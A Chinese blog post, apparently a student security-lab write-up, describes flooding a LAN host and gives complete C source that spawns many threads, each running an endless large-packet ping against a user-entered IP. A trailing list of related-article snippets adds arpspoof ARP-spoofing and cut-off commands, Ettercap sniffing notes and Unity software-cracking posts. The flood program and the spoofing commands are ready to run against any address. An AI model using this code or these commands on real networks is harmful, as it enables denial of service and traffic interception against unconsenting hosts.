软件安全实验——局域网DDoS攻击

article/2025/10/1 15:48:51

文章目录

  • 实验任务
  • 实验过程
    • DoS攻击与DDoS攻击
    • ping命令参数
    • 实施DDoS攻击

实验任务

    对局域网内IP地址为10.12.186.186的主机(已关闭防火墙)发起基于网络流量DDoS攻击。

实验过程

DoS攻击与DDoS攻击

    DoS是Denial of Service的简称,即拒绝服务。造成DoS的攻击行为被称为DoS攻击,其目的是使计算机或网络无法提供正常的服务。最常见的DOS攻击有计算机网络宽带攻击和连通性攻击。DoS攻击的目的是让目标计算机或网络无法提供正常的服务或资源访问,使目标系统服务系统停止响应甚至崩溃
    分布式拒绝服务攻击(DDoS)可以使很多的计算机在同一时间遭受到攻击,使攻击的目标无法正常使用。DDoS攻击的思路是与目标主机建立大量的网络连接,发送大量的网络请求,大量占用其网络资源,使其网络无法提供正常的服务。

ping命令参数

    在Windows下使用命令ping /?查看ping命令参数的含义:
    通过该提示可以看出:我们可以使用ping命令的-n参数指定要发送的回显次数(或者使用-t参数使其一直发送),可以使用-l指定发送的缓冲区大小,可以使用-w指定等待每次回复的时间。
请添加图片描述

实施DDoS攻击

    DoS攻击程序需要与目标主机建立大量的网络连接,发送大量的网络请求,大量占用其网络资源,使目标主机网络无法提供正常的服务。
    而ping命令可以使用ping命令的- t参数使其一直对目标主机发送网络请求,可以使用-l 65500指定较大的发送缓冲区大小
    程序需要控制输入一个有效的IP地址,然后利用字符串拼接操作拼接出“ping +IP地址”的命令,通过调用system函数使用ping命令实现攻击
    为了使得单机的攻击最大化,需要使用线程编程技术中的CreateThread函数创建多个线程进行攻击。此外,还需要多开攻击进程(使攻击进程占所有进程的比例增加,使得攻击进程尽量占用更多的时间片),使其尽量消耗CPU资源,使攻击效果最大化。
    DDoS攻击程序源代码如下:

#include <stdio.h>
#include <windows.h>#define MaxSize 50
#define MaxThreadNum 128HANDLE ThreadHandle[MaxThreadNum]; //线程句柄
DWORD ThreadID[MaxThreadNum];      //线程IDDWORD WINAPI DDosServer(LPVOID IP_Address)
{//初始化ping命令char Command[MaxSize] = "ping \0";//IP格式转化char *IP = (char *)IP_Address;//拼接IPstrcat(Command, IP);//拼接ping命令参数(方式、缓冲区大小、请求数)//同时保证可控strcat(Command, " -t -l 65500\0");//执行ping命令//这个命令不会结束,程序无法正常终止system(Command);return 0;
}int main()
{int ThreadNum = 8;char IP[16] = {0};//输入目标主机IPprintf("请输入目标主机IP: ");scanf("%s", IP);printf("请输入攻击线程数:");scanf("%d", &ThreadNum);for (int i = 0; i < ThreadNum; ++i){ThreadHandle[i] = CreateThread(NULL, 0, DDosServer, &IP, 0, &ThreadID[i]);if (ThreadHandle != NULL)printf("攻击线程%d创建成功!\n", i);elseprintf("攻击线程%d创建失败!\n", i);}//等待全部线程结束WaitForMultipleObjects(ThreadNum, ThreadHandle, TRUE, INFINITE);for (int i = 0; i < ThreadNum; ++i){//关闭线程句柄//TerminateThread(ThreadHandle[i], 0);if (CloseHandle(ThreadHandle[i]) == true)printf("攻击线程%d结束成功!\n", i);}return 0;
}

    启动攻击程序,输入IP地址10.12.186.186,开始DDoS攻击。
    在刚刚发动DDOS攻击时,攻击方能正常收到目标机器的回复报文
DDoS
    在多台机器上使用多个进程和多个线程进行DDoS攻击时,观察到部分回复报文丢失
DDoS
    此时,在目标主机上观察到:DDoS攻击虽然未能使目标主机瘫痪,但是大量占用了目标主机的网络资源,可能使其网络无法提供正常的服务,DDoS攻击成功有效。
DDoS


http://chatgpt.dhexx.cn/article/E3sZiWJn.shtml

相关文章

kali局域网攻击(一)

前言 很久以前的博客才发现&#xff0c;发布一下。 这个系列以后有时间再做。 arp攻击 arp路由链表,感兴趣的自行百度,我的博客我的笔记. 路由指向 介绍两个东西. echo 0 >/proc/sys/net/ipv4/ip_forward #让经过的数据不留通 echo 1 >/proc/sys/net/ipv4/ip_forward…

嗅探欺骗之Ettercap局域网攻击

嗅探欺骗 ——Ettercap局域网攻击 最近在练习使用ettercap工具&#xff0c;下面来介绍一下用ettercap实施嗅探以及欺骗的实验过程。 嗅探&#xff1a; 首先&#xff0c;我们把虚拟机作为攻击者&#xff0c;物理机作为受害者。①在虚拟机中打开一个终端&#xff0c;输入命令ett…

当代局域网攻击软件到底带来了什么

20世纪00年代晚期21世纪初&#xff0c;计算机网络技术及其安全技术得到了迅速发展&#xff0c;出现了一系列新的局域网攻击工具&#xff0c;如Metasploit&#xff0c;它是一款强大的局域网渗透测试开发框架&#xff1b;NetWox&#xff0c;它可以扫描网络中的漏洞&#xff1b;Wi…

局域网arp攻击_ARP局域网攻防浅析

ARP官方释意&#xff1a;地址解析协议&#xff0c;即ARP(Address Resolution Protocol)&#xff0c;是根据获取的一个。发送信息时将包含目标IP地址的ARP请求广播到局域网络上的所有主机&#xff0c;并接收返回消息&#xff0c;以此确定目标的物理地址(MAC)&#xff1b;收到返回…

局域网断网攻击 (arp攻击)

ARP攻击能够实现的技术前提有两个&#xff0c;一是作为攻击者的计算机需要和被攻击者的计算机在一个局域网中&#xff0c;二是作为攻击者的计算机需要知道被攻击者计算机的局域网IP。 环境&#xff1a;安装在VMware Workstation中的Kali Linux&#xff0c;我们需要在VMware的设…

局域网arp攻击_如何排查ARP网络攻击

ARP攻击危害:众所周知,ARP攻击变得日益猖狂,局域网内频繁性区域或整体掉线、IP地址冲突;网速时快时慢。极其不稳定,严重影响了网络的正常通讯。 那么如何排查ARP网络攻击呢? 首先诊断是否为ARP病毒攻击 1、当发现上网明显变慢,或者突然掉线时,我们可以用arp -a命令来检…

从交换机安全配置,看常见局域网攻击

前言 构建零信任网络&#xff0c;自然离不开网络准入(NAC)&#xff0c;这就涉及到交换机的一些安全测试&#xff0c;于是有了此文《从交换机安全配置看常见局域网攻击》。 交换机安全配置 如本文标题所说从交换机安全配置看常见的局域网攻击&#xff0c;那么下面提到的各种攻…

Kali linux 局域网arp断网攻击

Kali linux 局域网arp断网攻击 什么是arp断网攻击&#xff1a; ARP断网攻击就是通过伪造IP地址和MAC地址实现ARP欺骗&#xff0c;能够在网络中产生大量的ARP通信量使网络阻塞&#xff0c;攻击者只要持续不断的发出伪造的ARP响应包就能更改目标主机ARP缓存中的IP-MAC条目&…

局域网攻击——基于kali的arp欺骗

大致原理: 大家都知道,在一个局域网中,主机是通过路由器向公网进行发送信息,而路由器则是通过主机的MAC地址来给主机传递信息。 每一个主机都有一个arp缓存表来记录ip地址与对应mac地址, 如果我们的攻击机伪造成别的MAC地址,即可欺骗主机或者局域网网关的arp缓存表,他…

局域网攻击之ARP网关欺骗

目录 1、工具2、原理3、实验4、总结 1、工具 IPOP&#xff08;仅能指定某一台主机攻击&#xff09;、科来 2、原理 恶意用户仿冒网关发出ARP报文&#xff0c;导致网络中其他用户学习到错误的网关ARP表项。 3、实验 第一步&#xff1a;选择网卡&#xff0c;查看网关IP 第…

ARP局域网攻击

/*linux 、unix 下简单的ARP局域网攻击 */ #include<string.h> #include<unistd.h> #include<stdlib.h> #include<net/if_arp.h> #include<net/ethernet.h> #include<sys/types.h> #include<sys/socket.h> #define ARP_LEN 30 //ARP…

局域网断网攻击

一、直接实现局域网某ip断网 arpspoof -i eth0 -t 192.168.183.14 192.168.183.1 其中192.168.183.14为要攻击的ip地址&#xff0c;192.168.183.1为默认网关地址&#xff0c;eth0为自己的网卡&#xff0c;其实就是相当于让流经192.168.183.14的流量经过自己的网卡(本质是arp欺…

Kali Linux 学习日记6 - 局域网攻击

文章目录 交换机工作原理MAC地址泛洪攻击MAC地址欺骗攻击DHCP工作原理DHCP攻击ARP攻击 交换机工作原理 1、交换机中有一个MAC地址表&#xff0c;里面是端口与MAC的对应。初始状态下&#xff0c;交换机的MAC地址表为空。 2、当局域网中主机A与B欲通信时&#xff0c;A先向B发出A…

网络攻击测试软件,局域网攻击软件如何检测

局域网攻击软件通常会导致局域网网速下降&#xff0c;甚至断网的情况发生。对此们可以通过以下学习啦小编介绍的方法来检测并防范此类攻击对网速的影响。 局域网攻击软件的检测方法 可以借助“聚生网管”来检测局域网攻击类软件。直接在百度中搜索下载此工具。 从打开的程序主界…

局域网常见攻击方式原理

文章目录 前言一、ARP欺骗1.查看arp表2.arp原理3.arp欺骗过程 二、DNS欺骗三、DDos攻击总结 前言 简单介绍了常见的局域网攻击方式 一、ARP欺骗 局域网不是根据ip地址&#xff0c;而是根据MAC地址进行传输。破坏MAC地址&#xff0c;会影响传输。例如&#xff0c;MAC地址在A上…

网络安全——局域网内网络攻击手段(MAC地址攻击、ARP攻击、DHCP攻击)

网络安全一直是信息安全的重要内容&#xff0c;而局域网安全又往往是网络安全的一个重要组成部分。局域网内有哪些攻击攻击手段呢&#xff1f;今天主要介绍MAC地址攻击、ARP攻击、DHCP攻击等攻击的原理。要看懂本文&#xff0c;需要有一定的局域网内交换知识、DHCP原理等的理解…

Unity解包提取资源/AssetStudio的简单使用

前言 最近特别想要一款游戏里的语音包&#xff0c;但是原游戏是 Unity 做的&#xff0c;就想到了解包&#xff0c;找了一番发现可以使用 AssetStudio 这款强大的可视化工具。 项目地址&#xff1a;Perfare / AssetStudio 使用 直接在 releases 下载 下载自己需要的版本&…

Unity3d的安装

** Unity3d的安装 ** 1.在线安装 a.获取在线安装程序 第一步:进入官网:https://unity.com/cn 第二步:在主页的底部点击下载 第三步:来到UnityStore,拖到该页面的最底部&#xff0c;点击资源下面的Unity旧版本 第四步:来到Unity下载存档&#xff0c;拖动页面可以看到很多版…

Unity 2021.3.6f1 Crack【转载】

如果要看我转载的此作者编写的另一个带图的教程&#xff0c;请转此链接&#xff08;Unity 2019.4.9f1 Crack Tutorial【转载】 文中资源 【2022/8/29 更新】 最近都在这个网站对Unity进行Crack 在该网站上下载UnityHub3.0.1及其对应版本的Unity包安装unityhub&#xff0c;替换a…

Unity-Apk解包

在上海居住隔离的时候&#xff0c;整理了下为知笔记。发现了这篇于2018-06-07写完的,内容或许有陈旧 之前解过自己项目的包的代码&#xff0c;研究assetBundle打包的时候&#xff0c;像把bundle解压出来看。结合看来就一个包的逆向。 步骤 改名解压 将".apk"结尾的…